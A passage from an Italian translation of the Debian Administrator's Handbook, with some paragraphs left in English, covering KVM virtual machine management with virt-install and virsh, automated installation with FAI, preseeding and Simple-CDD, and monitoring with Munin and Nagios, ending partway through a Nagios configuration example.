All samples in this section assume that you are running commands as root. Effectively, if you want to control a local libvirt daemon, you need either to be root or to be a member of the libvirt group (which is not the case by default). Thus if you want to avoid using root rights too often, you can add yourself to the libvirt group and run the various commands under your user identity.

Si avvia il processo di installazione per la macchina virtuale e si guardano più da vicino le opzioni più importanti di virt-install. Questo comando registra la macchina virtuale e i suoi parametri in libvirtd, quindi la avvia cosicché la sua installazione può procedere.

# virt-install --connect qemu:///system

--virt-type kvm

--name testkvm

--memory 1024

--disk /srv/kvm/testkvm.qcow,format=qcow2,size=10

--cdrom /srv/isos/debian-10.2.0-amd64-netinst.iso

--network bridge=virbr0

--graphics vnc

--os-type linux

--os-variant debian10

Starting install...

Allocating 'testkvm.qcow'             |  10 GB     00:00

L'opzione --connect specifica l'«ipervisore» da usare. La sua forma è quella di un URL contenente un sistema di virtualizzazione (xen://, qemu://, lxc://, openvz://, vbox:// e così via) e la macchina che deve ospitare la VM (questo può essere lasciato vuoto nel caso dell'host locale). Inoltre e nel caso di QEMU/KVM ciascun utente può gestire macchine virtuali che funzionano con permessi ristretti e il percorso nell'URL permette di differenziare le macchine «di sistema» (/system) dalle altre (/session).

Poiché KVM è gestito allo stesso modo di QEMU, --virt-type kvm permette di specificare l'uso di KVM anche se l'URL sembra quello di QEMU.

L'opzione --name definisce un nome (unico) per la macchina virtuale.

The --memory option allows specifying the amount of RAM (in MB) to allocate for the virtual machine.

The --disk specifies the location of the image file that is to represent our virtual machine's hard disk; that file is created, unless present, with a size (in GB) specified by the size parameter. The format parameter allows choosing among several ways of storing the image file. The default format (qcow2) allows starting with a small file that only grows when the virtual machine starts actually using space.

L'opzione --cdrom è usata per indicare dove trovare il disco ottico da usare per l'installazione. Il percorso può essere un percorso locale di un file ISO, un URL dove reperire il file o il device di un lettore CD-ROM fisico (es. /dev/cdrom).

--network specifica come la scheda di rete virtuale si integra nella configurazione di rete dell'host. Il comportamento predefinito (che in questo esempio è esplicitamente forzato) è di integrarla in un qualunque bridge di rete preesistente. Se non esiste un tale bridge, la macchina virtuale raggiungerà la rete fisica solo tramite NAT, quindi riceve un indirizzo in un intervallo di una sottorete privata (192.168.122.0/24).

--graphics vnc states that the graphical console should be made available using VNC. The default behavior for the associated VNC server is to only listen on the local interface; if the VNC client is to be run on a different host, establishing the connection will require setting up an SSH tunnel (see Sezione 9.2.1.3, «Creazione di tunnel cifrati con il port forwarding»). Alternatively, --graphics vnc,listen=0.0.0.0 can be used so that the VNC server is accessible from all interfaces; note that if you do that, you really should design your firewall accordingly.

Le opzioni --os-type e --os-variant permettono di ottimizzare alcuni parametri della macchina virtuale, basandosi su alcune delle funzionalità note del sistema operativo lì menzionato.

A questo punto la macchina virtuale è in esecuzione e bisogna connettersi alla console grafica per procedere con il processo di installazione. Se la precedente operazione è stata lanciata da un ambiente desktop grafico, questa connessione dovrebbe essere avviata automaticamente. In caso contrario, o in caso si operi da remoto, si può eseguire virt-viewer da qualunque ambiente grafico per aprire la console grafica (notare che la password di root dell'host remoto viene chiesta due volte perché l'operazione richiede 2 connessioni SSH):

$ virt-viewer --connect qemu+ssh://root@server/system testkvm

root@server's password:

root@server's password:

Al termine del processo di installazione, la macchina virtuale viene riavviata ed è ora pronta all'uso.

12.2.3.4. Gestire macchine con virsh

Ora che l'installazione è terminata, si passa a come gestire le macchine virtuali disponibili. La prima cosa da provare è chiedere a libvirtd la lista delle macchine virtuali che gestisce:

# virsh -c qemu:///system list --all

Id Name                 State

----------------------------------

8 testkvm              shut off

Si avvia la macchina virtuale di prova:

# virsh -c qemu:///system start testkvm

Domain testkvm started

Si possono ora ottenere le istruzioni per connettersi alla console grafica (il display VNC restituito può essere passato come parametro a vncviewer):

# virsh -c qemu:///system vncdisplay testkvm

127.0.0.1:0

Altri sottocomandi disponibili di virsh includono:

- reboot per riavviare una macchina virtuale;

- shutdown per provocare uno spegnimento pulito;

- destroy per fermarla brutalmente;

- suspend per metterla in pausa;

- resume per farla uscire dalla pausa;

- autostart per abilitare (o disabilitare, con l'opzione --disable) l'avvio automatico della macchina virtuale all'avvio dell'host;

- undefine per rimuovere ogni traccia della macchina virtuale da libvirtd.

Tutti questi sottocomandi accettano un identificatore di macchina virtuale come parametro.

12.2.3.5. Installazione di un sistema basato su RPM in Debian con yum

Se la macchina virtuale è destinata a far girare una Debian (o una delle sue derivate), il sistema può essere inizializzato con debootstrap, come descritto sopra. Ma se la macchina virtuale deve essere installato con un sistema basato su RPM (come Fedora, CentOS o Scientific Linux), l'installazione dovrà essere effettuata utilizzando l'utility yum (disponibile nel pacchetto dello stesso nome).

La procedura richiede l'uso di rpm per estrarre un set iniziale di file, tra cui in particolare il file di configurazione di yum, e quindi chiamando yum per estrarre il rimanente gruppo di pacchetti. Ma dal momento che noi chiamiamo yum da fuori dalla chroot, abbiamo bisogno di fare alcune modifiche temporanee. Nell'esempio sotto, l'obiettivo di chroot è /srv/centos.

# rootdir="/srv/centos"

# mkdir -p "$rootdir" /etc/rpm

# echo "%_dbpath /var/lib/rpm" > /etc/rpm/macros.dbpath

# wget http://mirror.centos.org/centos/7/os/x86_64/Packages/centos-release-7-6.1810.2.el7.centos.x86_64.rpm

# rpm --nodeps --root "$rootdir" -i centos-release-7-6.1810.2.el7.centos.x86_64.rpm

rpm: RPM should not be used directly install RPM packages, use Alien instead!

rpm: However assuming you know what you are doing...

warning: centos-release-7-6.1810.2.el7.centos.x86_64.rpm: Header V3 RSA/SHA256 Signature, key ID f4a80eb5: NOKEY

# sed -i -e "s,gpgkey=file:///etc/,gpgkey=file://${rootdir}/etc/,g" $rootdir/etc/yum.repos.d/*.repo

# yum --assumeyes --installroot $rootdir groupinstall core

[...]

# sed -i -e "s,gpgkey=file://${rootdir}/etc/,gpgkey=file:///etc/,g" $rootdir/etc/yum.repos.d/*.repo

12.3. Installazione automatica

Gli amministratori della Falcot Corp, come molti amministratori di grandi servizi IT, hanno bisogno di strumenti per installare (o reinstallare) rapidamente e se possibile automaticamente le loro nuove macchine.

Questi requisiti possono essere soddisfatti da una vasta gamma di soluzioni. Da un lato, strumenti generici come SystemImager gestiscono il compito creando un'immagine basata su una macchina modello, quindi allestiscono quell'immagine sui sistemi destinazione; dall'altro lato dello spettro, l'installatore standard di Debian può essere preimpostato con un file di configurazione che dà le risposte alle domande poste durante il processo di installazione. A metà strada, uno strumento ibrido come FAI (Fully Automatic Installer) installa le macchine usando il sistema di pacchettizzazione, ma usa anche la propria infrastruttura per compiti più specifici su allestimenti di massa (come avviare, partizionare, configurare e così via).

Ciascuna di queste soluzioni ha i suoi pro e contro: SystemImager funziona indipendentemente da qualunque particolare sistema di pacchettizzazione, il che gli permette di gestire grandi gruppi di macchine che usano più distribuzioni distinte di Linux. Inoltre include un sistema di aggiornamento che non richiede di reinstallare, ma questo sistema di aggiornamento può essere affidabile solo se le macchine non sono modificate in modo indipendente; in altre parole, l'utente non deve aggiornare o installare alcun software da solo. In modo simile, gli aggiornamenti di sicurezza non devono essere automatizzati, perché devono passare dall'immagine centralizzata di riferimento mantenuta da SystemImager. Questa soluzione richiede inoltre che le macchine destinazione siano omogenee, altrimenti si dovrebbero mantenere molte immagini differenti (un'immagine i386 non sarebbe adatta su una macchina powerpc e così via).

D'altro canto, un'installazione automatica usando debian-installer può adattarsi alle specifiche di ciascuna macchina: l'installatore preleverà il kernel e i pacchetti software appropriati dai relativi archivi, rileverà l'hardware disponibile, partizionerà l'intero disco fisso per sfruttare tutto lo spazio disponibile, installerà il sistema Debian corrispondente, e imposterà un bootloader appropriato. Tuttavia, l'installatore standard installerà solo versioni standard di Debian, con il sistema base e un insieme di "task" preselezionati; questo impedisce di installare un sistema particolare con applicazioni non pacchettizzate. Per soddisfare questa esigenza particolare è necessario personalizzare l'installatore… Fortunatamante, l'installatore è molto modulare ed esistono strumenti per automatizzare la maggior parte del lavoro richiesto per questa personalizzazione, il più importante dei quali è simple-CDD (CDD è un acronimo di Custom Debian Derivatives). Anche la soluzione simple-CDD, tuttavia, gestisce solo le installazioni iniziali; ciò di solito non è un problema dal momento che gli strumenti APT permettono in seguito una efficiente distribuzione degli aggiornamenti.

Si illustra solo una rapida panoramica di FAI e si tralascia del tutto SystemImager (che non è più in Debian), per focalizzarsi più intensamente su debian-installer e simple-CDD, che sono più interessanti in un contesto unicamente Debian.

12.3.1. Fully Automatic Installer (FAI)

Fully Automatic Installer è probabilmente il più vecchio sistema di allestimento automatico per Debian, il che spiega il suo status di punto di riferimento; ma la sua natura molto flessibile compensa appena la complessità che esso comporta.

FAI richiede un sistema server per memorizzare le informazioni sull'allestimento e permettere alle macchine destinazione di avviarsi dalla rete. Questo server richiede il pacchetto fai-server (o fai-quickstart, che fornisce anch'esso gli elementi richiesti per una configurazione standard).

FAI usa un approccio specifico per definire i vari profili installabili. Invece di duplicare semplicemente un'installazione di riferimento, FAI è un installatore completo di tutto punto, interamente configurabile tramite un insieme di file e script memorizzati sul server; la posizione predefinita /srv/fai/config/ non è creata automaticamente, quindi l'amministratore deve crearla insieme con i relativi file. Il più delle volte questi file saranno personalizzati a partire dai file di esempio disponibili nella documentazione del pacchetto fai-doc, più in particolare la directory /usr/share/doc/fai-doc/examples/simple/.

Once the profiles are defined, the fai-setup command generates the elements required to start a FAI installation; this mostly means preparing or updating a minimal system (NFS-root) used during installation. An alternative is to generate a dedicated boot CD with fai-cd.

La creazione di tutti questi file di configurazione richiede una certa comprensione di come funziona FAI. Un tipico processo di installazione è composto dai seguenti passi:

- prelevare un kernel dalla rete e avviarlo;

- montare il filesystem di root da NFS;

- eseguire /usr/sbin/fai, che controlla il resto del processo (i passi successivi sono quindi iniziati da questo script);

- copiare lo spazio di configurazione dal server su /fai/;

- eseguire fai-class. Gli script /fai/class/[0-9][0-9]* sono eseguiti in successione e restituiscono nomi di «classi» che si applicano alla macchina che viene installata; questa informazione servirà come base per i passi successivi. Ciò permette una certa flessibilità nel definire i servizi da installare e configurare.

- prelevare un certo numero di variabili di configurazione, a seconda delle relative classi;

- partizionare i dischi e formattare le partizioni, in base alle informazioni fornite in /fai/disk_config/classe;

- montare le suddette partizioni;

- installare il sistema di base;

- preimpostare il database di Debconf con fai-debconf;

- prelevare la lista dei pacchetti disponibili per APT;

- installare i pacchetti elencati in /fai/package_config/classe;

- eseguire gli script di post-configurazione, /fai/scripts/classe/[0-9][0-9]*;

- registrare i log di installazione, smontare le partizioni e riavviare.

12.3.2. Preimpostare Debian-Installer

A conti fatti, il miglior strumento per installare i sistemi Debian dovrebbe logicamente essere l'installatore ufficiale Debian. Per questo, fin dalla nascita, debian-installer è stato progettato per un uso automatizzato, sfruttando l'infrastruttura fornita da debconf. Quest'ultimo permette da un lato di ridurre il numero delle domande poste (le domande nascoste useranno la risposta predefinita fornita) e dall'altro di fornire le risposte predefinite separatamente, cosicché l'installazione possa essere non interattiva. Quest'ultima funzionalità è nota come preimpostazione.

APPROFONDIMENTI Debconf con un database centralizzato

Preimpostare significa fornire un insieme di risposte alle domande di Debconf al momento dell'installazione, ma queste risposte sono statiche e non evolvono col passare del tempo. Poiché macchine già installate possono richiedere degli aggiornamenti e possono essere necessarie nuove risposte, il file di configurazione /etc/debconf.conf può essere impostato in modo che Debconf usi fonti esterne di dati (come un server di directory LDAP o un file remoto montato via NFS o Samba). Si possono definire contemporaneamente più fonti esterne di dati e queste si completano a vicenda. Il database locale è ancora usato (per un accesso in lettura e scrittura), ma i database remoti sono di solito ristretti alla lettura. La pagina di manuale debconf.conf(5) descrive in dettaglio tutte le possibilità (c'è bisogno del pacchetto debconf-doc).

12.3.2.1. Usare un file di preimpostazione

Ci sono diversi posti da cui l'installatore può ottenere un file di preimpostazione:

- nell'initrd usato per avviare la macchina; in questo caso, la preimpostazione avviene proprio all'inizio dell'installazione e si possono evitare tutte le domande. Il file deve solo essere chiamato preseed.cfg e memorizzato nella root dell'initrd.

- sul supporto di avvio (CD o chiave USB); la preimpostazione in questo caso avviene appena il supporto viene montato, ossia subito dopo le domande su lingua e impostazione di tastiera. Si può usare il parametro di avvio preseed/file per indicare la posizione del file di preimpostazione (per esempio, /cdrom/preseed.cfg quando l'installazione viene fatta da CD-ROM o /hd-media/preseed.cfg nel caso di una chiave USB).

- dalla rete; la preconfigurazione in questo caso avviene solo dopo che la rete è (automaticamente) configurata; il parametro di avvio relativo è allora preseed/url=http://server/preseed.cfg.

A prima vista, includere il file di preimpostazione nell'initrd sembra la soluzione più interessante; tuttavia, è raramente usata in pratica perché generare un initrd per l'installatore è piuttosto complesso. Le altre due soluzioni sono molto più comuni, soprattutto dal momento che i parametri di avvio forniscono un altro modo per preimpostare le risposte alle prime domande del processo di installazione. Il modo consueto di risparmiare la fatica di scrivere questi parametri di avvio a mano a ogni installazione è di salvarli nella configurazione di isolinux (nel caso di un CD-ROM) or syslinux (nel caso di una chiave USB).

12.3.2.2. Creare un file di preimpostazione

Un file di preimpostazione è un file di testo semplice in cui ogni riga contiene la risposta a una domanda di Debconf. Una linea è divisa in quattro campi separati da spazi vuoti (spazi o tabulazioni) come, ad esempio, d-i mirror/suite string stable:

- il primo campo è il «proprietario» della domanda; «d-i» viene usato per domande relative all'installatore, ma può anche essere il nome di un pacchetto per domande provenienti da pacchetti Debian;

- il secondo campo è un identificatore per la domanda;

- terzo, il tipo di domanda;

- il quarto e ultimo campo contiene il valore della risposta. Notare che deve essere separato dal terzo campo con uno spazio singolo, se vi sono più di uno, i seguenti spazi sono considerati parte del valore.

Il modo più semplice per scrivere un file di preimpostazione è di installare un sistema a mano. Quindi debconf-get-selections --installer fornirà le risposte riguardanti l'installatore. Le risposte riguardo altri pacchetti si possono ottenere con debconf-get-selections. Tuttavia, una soluzione più pulita è di scrivere il file di preimpostazione a mano, a partire da un esempio e dalla documentazione di riferimento: con questo approccio, si possono preimpostare solo le domande a cui bisogna modificare le risposte predefinite; il parametro priority=critical dirà a Debconf di porre solo domande critiche e usare la risposta predefinita per le altre.

DOCUMENTAZIONE Appendice alla guida di installazione

The installation guide, available online, includes detailed documentation on the use of a preseed file in an appendix. It also includes a detailed and commented sample file, which can serve as a base for local customizations.

→ https://www.debian.org/releases/stable/amd64/apb

→ https://www.debian.org/releases/stable/example-preseed.txt

12.3.2.3. Creare un supporto di avvio personalizzato

Sapere dove memorizzare il file di preimpostazione è cosa buona e giusta, ma la posizione non è tutto; in un modo o nell'altro, bisogna alterare il supporto di avvio dell'installazione per cambiare i parametri di avvio e aggiungere il file di preimpostazione.

12.3.2.3.1. Avviare dalla rete

When a computer is booted from the network, the server sending the initialization elements also defines the boot parameters. Thus, the change needs to be made in the PXE configuration for the boot server; more specifically, in its /tftpboot/pxelinux.cfg/default configuration file. Setting up network boot is a prerequisite; see the Installation Guide for details.

→ https://www.debian.org/releases/stable/amd64/ch04s05

12.3.2.3.2. Preparare una chiave USB avviabile

Una volta preparata una chiave avviabile (vedere Sezione 4.1.2, «Avviare da una chiavetta USB»), sono necessarie alcune operazioni aggiuntive. Supponendo che i contenuti della chiave siano disponibili sin /media/usbdisk/:

- copiare il file di preimpostazione in /media/usbdisk/preseed.cfg

- modificare /media/usbdisk/syslinux.cfg e aggiungere i parametri di avvio richiesti (vedere l'esempio sotto).

Esempio 12.2. file syslinux.cfg e parametri di preimpostazione

default vmlinuz

append preseed/file=/hd-media/preseed.cfg locale=en_US.UTF-8 keymap=us language=us country=US vga=788 initrd=initrd.gz  --

12.3.2.3.3. Creare un'immagine CD-ROM

Una chiave USB è un supporto leggibile e scrivibile, quindi è stato facile aggiungervi un file e cambiare alcuni parametri. Nel caso di un CD-ROM, l'operazione è più complessa, dal momento che si deve rigenerare un'immagine ISO completa. Questo compito è gestito da debian-cd, ma questo strumento è piuttosto scomodo da usare: ha bisogno di un mirror locale e richiede una comprensione di tutte le opzioni fornite da /usr/share/debian-cd/CONF.sh; anche così, bisogna invocare make più volte. Pertanto si raccomanda vivamente di leggere /usr/share/debian-cd/README.

Detto questo, debian-cd opera sempre in un modo simile: viene generata una directory "immagine" con gli esatti contenuti del CD-ROM, quindi convertita in un file ISO con uno strumento come genisoimage, mkisofs o xorriso. La directory immagine viene finalizzata nel passo del cd di Debianmake image-trees. A quel punto, si inserisce il file di preimpostazione nella directory appropriata (di solito $TDIR/$CODENAME/CD1/, dove $TDIR è uno dei parametri definiti dal file di configurazione CONF.sh). Il CD-ROM usa isolinux come suo bootloader, e il suo file di configurazione deve essere adattato a partire da ciò che debian-cd ha generato, per poter inserire i parametri di avvio richiesti (il file specifico è $TDIR/$CODENAME/boot1/isolinux/isolinux.cfg). Quindi si può riprendere il "normale" processo e si può generare l'immagine ISO con make image CD=1 (o make images se si generano più CD-ROM).

12.3.3. Simple-CDD: la soluzione completa

Usare semplicemente un file di preimpostazione non basta per soddisfare tutti i requisiti che possono verificarsi per allestimenti su larga scala. Anche se è possibile eseguire alcuni script alla fine del normale processo di installazione, la selezione dell'insieme di pacchetti da installare non è ancora molto flessibile (fondamentalmente si possono scegliere solo «task»); cosa più importante, ciò permette di installare solo pacchetti Debian ufficiali e preclude quelli generati localmente.

D'altro canto, debian-cd è in grado di integrare pacchetti esterni e debian-installer può essere esteso inserendo nuovi passi nel processo di installazione. Combinando queste capacità, dovrebbe essere possibile creare un installatore personalizzato che soddisfi ogni necessità e sia perfino in grado di configurare alcuni servizi dopo aver spacchettato i pacchetti richiesti. Per fortuna questa non è solo un'ipotesi, dal momento che è proprio ciò che fa Simple-CDD (nel pacchetto simple-cdd).

Lo scopo di Simple-CDD è di consentire a chiunque di creare facilmente una distribuzione derivata da Debian, scegliendo un sottoinsieme dei pacchetti disponibili, preconfigurandoli con Debconf, aggiungendo software specifico ed eseguendo script personalizzati alla fine del processo di installazione. Ciò si accorda con la filosofia del «sistema operativo universale», visto che chiunque può adattarlo ai propri bisogni.

12.3.3.1. Creare profili

Simple-CDD definisce «profili» che corrispondono al concetto di «classi» in FAI e una macchina può avere diversi profili (determinati al momento dell'installazione). Un profilo è definito da un insieme di file profiles/profilo.*:

- il file .description contiene una descrizione di una riga del profilo;

- il file .packages elenca i pacchetti che saranno automaticamente installati se il profilo viene scelto;

- il file .downloads elenca i pacchetti che verranno memorizzati sul supporto di installazione, ma non necessariamente installati;

- il file .preseed contiene informazioni di preimpostazione per le domande di Debconf (per l'installatore e/o per i pacchetti);

- il file .postinst contiene uno script che sarà eseguito al termine del processo di installazione;

- infine, il file .conf permette di cambiare alcuni semplici parametri di Simple-CDD in base ai profili da includere in un'immagine.

Il profilo default ha un ruolo particolare, dal momento che è sempre selezionato; contiene il minimo indispensabile richiesto perché Simple-CDD funzioni. L'unica cosa personalizzata di solito in questo profilo è il parametro di preimpostazione simple-cdd/profiles: questo permette di evitare la domanda, introdotta da Simple-CDD, su quali profili installare.

Notare inoltre che i comandi dovranno essere invocati dalla directory madre della directory profiles.

12.3.3.2. Configurare e usare build-simple-cdd

COLPO D'OCCHIO File di configurazione dettagliato

Un esempio di un file di configurazione di Simple-CDD, con tutti i parametri possibili, è incluso nel pacchetto (/usr/share/doc/simple-cdd/examples/simple-cdd.conf.detailed.gz). Questo può essere usato come punto di partenza per creare un file di configurazione personalizzato.

Simple-CDD richiede molti parametri per operare appieno. Questi verranno perlopiù riuniti in un file di configurazione, a cui si può far puntare build-simple-cdd con l'opzione --conf, ma possono anche essere specificati tramite parametri dedicati dati a build-simple-cdd. Ecco una panoramica di come si comporta questo comando e di come i suoi parametri vengono usati:

- il parametro profiles elenca i profili che saranno inclusi nell'immagine CD-ROM generata;

- in base alla lista dei pacchetti richiesti, Simple-CDD scarica i file appropriati dal server menzionato in server e li riunisce in un mirror parziale (che in seguito sarà dato a debian-cd);

- i pacchetti personalizzati menzionati in local_packages sono anch'essi integrati in questo mirror locale;

- quindi viene eseguito debian cd (da una posizione predefinita che può essere configurata con la variabile debian_cd_dir), con la lista dei pacchetti da integrare;

- una volta che debian-cd ha preparato la sua directory, simple-CDD applica alcuni cambiamenti a questa directory:

- i file contenenti i profili sono aggiunti in una sottodirectory simple-cdd (che sarà inclusa nel CD-ROM);

- altri file elencati nel parametro all_extras sono aggiunti anch'essi;

- i parametri di avvio sono regolati per abilitare la preimpostazione. Si possono evitare le domande su lingua e nazione se l'informazione richiesta è memorizzata nelle variabili language e country.

- quindi debian-cd genera l'immagine ISO finale.

12.3.3.3. Generare un'immagine ISO

Once we have written a configuration file and defined our profiles, the remaining step is to invoke build-simple-cdd --conf simple-cdd.conf. After a few minutes, we get the required image in images/debian-10-amd64-CD-1.iso.

12.4. Monitoraggio

Monitoraggio è un termine generico, e le diverse attività implicate hanno diversi scopi: da una parte, seguire l'uso delle risorse fornite da una macchina permette di prevedere la saturazione e i conseguenti aggiornamenti richiesti; dall'altra, avvisare l'amministratore appena un servizio è indisponibile o non funziona correttamente significa che il problema può essere risolto più celermente.

Munin copre la prima area, visualizzando diagrammi grafici per i valori storici di un certo numero di parametri (RAM usata, spazio disco occupato, carico del processore, traffico di rete, carico di Apache/MySQL e così via). Nagios copre la seconda area, controllando regolarmente che i servizi siano funzionanti e disponibili e inviando avvisi tramite i canali appropriati (email, messaggi di testo e così via). Entrambi hanno una struttura modulare, il che rende facile creare nuovi plugin per monitorare specifici parametri o servizi.

ALTERNATIVA Zabbix, uno strumento integrato di monitoraggio

Although Munin and Nagios are in very common use, they are not the only players in the monitoring field, and each of them only handles half of the task (graphing on one side, alerting on the other). Zabbix, on the other hand, integrates both parts of monitoring; it also has a web interface for configuring the most common aspects. It has grown by leaps and bounds during the last few years, and can now be considered a viable contender. On the monitoring server, you would install zabbix-server-pgsql (or zabbix-server-mysql), possibly together with zabbix-frontend-php to have a web interface. On the hosts to monitor you would install zabbix-agent feeding data back to the server.

→ https://www.zabbix.com/

ALTERNATIVE Icinga, un fork di Nagios

Spurred by divergences in opinions concerning the development model for Nagios (which is controlled by a company), a number of developers forked Nagios and use Icinga as their new name. Icinga is still compatible — so far — with Nagios configurations and plugins, but it also adds extra features.

→ https://www.icinga.org/

12.4.1. Impostazione di Munin

Lo scopo di Munin è di monitorare molte macchine; è quindi assai naturale che usi un'architettura client/server. L'host centrale, il graficatore, raccoglie dati da tutti gli host monitorari e genera grafici storici.

12.4.1.1. Configurare gli host da monitorare

Il primo passo è installare il pacchetto munin-node. Il demone installato da questo pacchetto ascolta sulla porta 4949 e rimanda i dati raccolti da tutti i plugin attivi. Ciascun plugin è un semplice programma che restituisce una descrizione dei dati raccolti insieme all'ultimo valore misurato. I plugin sono memorizzati in /usr/share/munin/plugins/, ma solo quelli con un collegamento simbolico in /etc/munin/plugins/ vengono effettivamente usati.

When the package is installed, a set of active plugins is determined based on the available software and the current configuration of the host. However, this autoconfiguration depends on a feature that each plugin must provide, and it is usually a good idea to review and tweak the results by hand. Browsing the Plugin Gallery[4] can be interesting even though not all plugins have comprehensive documentation. However, all plugins are scripts and most are rather simple and well-commented. Browsing /etc/munin/plugins/ is therefore a good way of getting an idea of what each plugin is about and determining which should be removed. Similarly, enabling an interesting plugin found in /usr/share/munin/plugins/ is a simple matter of setting up a symbolic link with ln -sf /usr/share/munin/plugins/plugin /etc/munin/plugins/. Note that when a plugin name ends with an underscore “_”, the plugin requires a parameter. This parameter must be stored in the name of the symbolic link; for instance, the “if_” plugin must be enabled with a if_eth0 symbolic link, and it will monitor network traffic on the eth0 interface.

Once all plugins are correctly set up, the daemon configuration must be updated to describe access control for the collected data. This involves allow directives in the /etc/munin/munin-node.conf file. The default configuration is allow ^127\.0\.0\.1$, and only allows access to the local host. An administrator will usually add a similar line containing the IP address of the grapher host, then restart the daemon with systemctl restart munin-node.

APPROFONDIMENTI Creare plugin locali

Munin does include detailed documentation on how plugins should behave, and how to develop new plugins.

→ http://guide.munin-monitoring.org/en/latest/plugin/writing.html

Un plugin si collauda meglio quando viene avviato nelle stesse condizioni in cui si troverebbe se fosse attivato da munin-node; ciò si può simulare lanciando munin-run plugin da root. Un potenziale secondo parametro (come config) viene passato al plugin come parametro.

Quando un plugin è invocato con il parametro config, deve descriversi restituendo un insieme di campi:

$ sudo munin-run load config

graph_title Load average

graph_args --base 1000 -l 0

graph_vlabel load

graph_scale no

graph_category system

load.label load

graph_info The load average of the machine describes how many processes are in the run-queue (scheduled to run "immediately").

load.info 5 minute load average

The various available fields are described by the “Plugin reference” available as part of the “Munin guide”.

→ https://munin.readthedocs.org/en/latest/reference/plugin.html

Quando viene invocato senza un parametro, il plugin restituisce semplicemente gli ultimi valori misurati; per esempio, l'esecuzione di sudo munin-run load può restituire load.value 0.12.

Infine, quando un plugin viene invocato con il parametro autoconf, deve restituire «yes» (e uno stato di uscita 0) o «no» (con uno stato di uscita 1) a seconda se il plugin deve essere abilitato o meno su questo host.

12.4.1.2. Configurare il graficatore

Il «graficatore» è semplicemente il computer che aggrega i dati e genera i grafici corrispondenti. Il software richiesto si trova nel pacchetto munin. La configurazione standard esegue munin-cron (una volta ogni 5 minuti), che raccoglie i dati da tutti gli host elencati in /etc/munin/munin.conf (solo l'host locale è elencato in modo predefinito), salva i dati storici in file RRD (Round Robin Database, un formato di file progettato per memorizzare dati variabili nel tempo) memorizzati sotto /var/lib/munin/ e genera una pagina HTML con i grafici in /var/cache/munin/www/.

Tutte le macchine monitorate devono quindi essere elencate nel file di configurazione /etc/munin/munin.conf. Ciascuna macchina è elencata come una sezione completa con un nome che corrisponde alla macchina e almeno una voce address che dà il corrispondente indirizzo IP.

[ftp.falcot.com]

address 192.168.0.12

use_node_name yes

Le sezioni possono essere più complesse e descrivere ulteriori grafici che possono essere creati combinando dati provenienti da diverse macchine. Gli esempi forniti nel file di configurazione sono dei buoni punti di partenza per la personalizzazione.

L'ultimo passo è pubblicare le pagine generate; questo richiede di configurare un server web in modo che i contenuti di /var/cache/munin/www/ siano resi disponibili su un sito web. L'accesso a questo sito web sarà spesso ristretto, usando un meccanismo di autenticazione o un controllo di accesso basato sull'IP. Vedere Sezione 11.2, «Server web (HTTP)» per i dettagli relativi.

12.4.2. Impostazione di Nagios

Contrariamente a Munin, Nagios non richiede necessariamente di installare alcunché sugli host monitorati; la maggior parte delle volte, Nagios viene usato per controllare la disponibilità dei servizi di rete. Per esempio, Nagios può connettersi a un sito web e controllare che una data pagina web possa essere ottenuta entro un certo tempo.

12.4.2.1. Installazione

The first step in setting up Nagios is to install the nagios4 and monitoring-plugins packages. Installing the packages configures the web interface and the Apache server. The authz_groupfile and auth_digest Apache modules must be enabled, for that execute:

# a2enmod authz_groupfile

Considering dependency authz_core for authz_groupfile:

Module authz_core already enabled

Enabling module authz_groupfile.

To activate the new configuration, you need to run:

systemctl restart apache2

# a2enmod auth_digest

Considering dependency authn_core for auth_digest:

Module authn_core already enabled

Enabling module auth_digest.

To activate the new configuration, you need to run:

systemctl restart apache2

# systemctl restart apache2

Adding other users is a simple matter of inserting them in the /etc/nagios4/hdigest.users file.

Pointing a browser at http://server/nagios4/ displays the web interface; in particular, note that Nagios already monitors some parameters of the machine where it runs. However, some interactive features such as adding comments to a host do not work. These features are disabled in the default configuration for Nagios, which is very restrictive for security reasons.

Enabling some features involves editing /etc/nagios4/nagios.cfg. We also need to set up write permissions for the directory used by Nagios, with commands such as the following:

# systemctl stop nagios4

# dpkg-statoverride --update --add nagios www-data 2710 /var/lib/nagios4/rw

# dpkg-statoverride --update --add nagios nagios 751 /var/lib/nagios4

# systemctl start nagios4

12.4.2.2. Configurazione

The Nagios web interface is rather nice, but it does not allow configuration, nor can it be used to add monitored hosts and services. The whole configuration is managed via files referenced in the central configuration file, /etc/nagios4/nagios.cfg.

Questi file non dovrebbero essere studiati senza una qualche comprensione dei concetti alla base di Nagios. La configurazione elenca oggetti dei seguenti tipi:

- un host è una macchina da monitorare;

- un hostgroup è un insieme di host che dovrebbero essere raggruppati insieme per la visualizzazione o per sfruttare elementi comuni di configurazione;

- un service è un elemento controllabile relativo a un host o a un gruppo di host. Molto spesso sarà un controllo di un servizio di rete, ma può anche richiedere di controllare che certi parametri siano all'interno di un intervallo accettabile (per esempio, lo spazio libero sul disco o il carico del processore);

- un servicegroup è un insieme di servizi che dovrebbero essere raggruppati insieme per la visualizzazione;

- un contact è una persona che può ricevere avvisi;

- un contactgroup è un insieme di tali contatti;

- un timeperiod è un intervallo di tempo durante il quale alcuni servizi devono essere controllati;

- un command è la riga di comando invocata per controllare un dato servizio.

Secondo il suo tipo, ciascun oggetto ha un certo numero di proprietà che possono essere personalizzate. Una lista completa sarebbe troppo lunga da includere, ma le proprietà più importanti sono le relazioni fra gli oggetti.

Un service usa un command per controllare lo stato di una funzionalità su un host (o un hostgroup) entro un timeperiod. In caso di problema, Nagios manda un avviso a tutti i membri del contactgroup collegato al servizio. Ciascun membro riceve l'avviso a seconda del canale descritto nell'oggetto contact corrispondente.

An inheritance system allows easy sharing of a set of properties across many objects without duplicating information. Moreover, the initial configuration includes a number of standard objects; in many cases, defining new hosts, services and contacts is a simple matter of deriving from the provided generic objects. The files in /etc/nagios4/conf.d/ are a good source of information on how they work.

Gli amministratori della Falcot Corp usano la seguente configurazione:

Esempio 12.3. /etc/nagios4/conf.d/falcot.cfg file

define contact{

name                            generic-contact

service_notification_period     24x7

host_notification_period        24x7

service_notification_options    w,u,c,r

host_notification_options       d,u,r

service_notification_commands   notify-service-by-email

host_notification_commands      notify-host-by-email

register                        0 ; Template only

}

define contact{

use             generic-contact

contact_name    rhertzog

alias           Raphael Hertzog

email           hertzog@debian.org

}

define contact{

use             generic-contact

contact_name    rmas

alias           Roland Mas

email           lolando@debian.org

}

define contactgroup{

contactgroup_name     falcot-admins

alias                 Falcot Administrators

members               rhertzog,rmas

}

define host{

use                   generic-host ; Name of host template to use

host_name             www-host

alias                 www.falcot.com

address               192.168.0.5

contact_groups        falcot-admins

hostgroups            debian-servers,ssh-servers

}

define host{

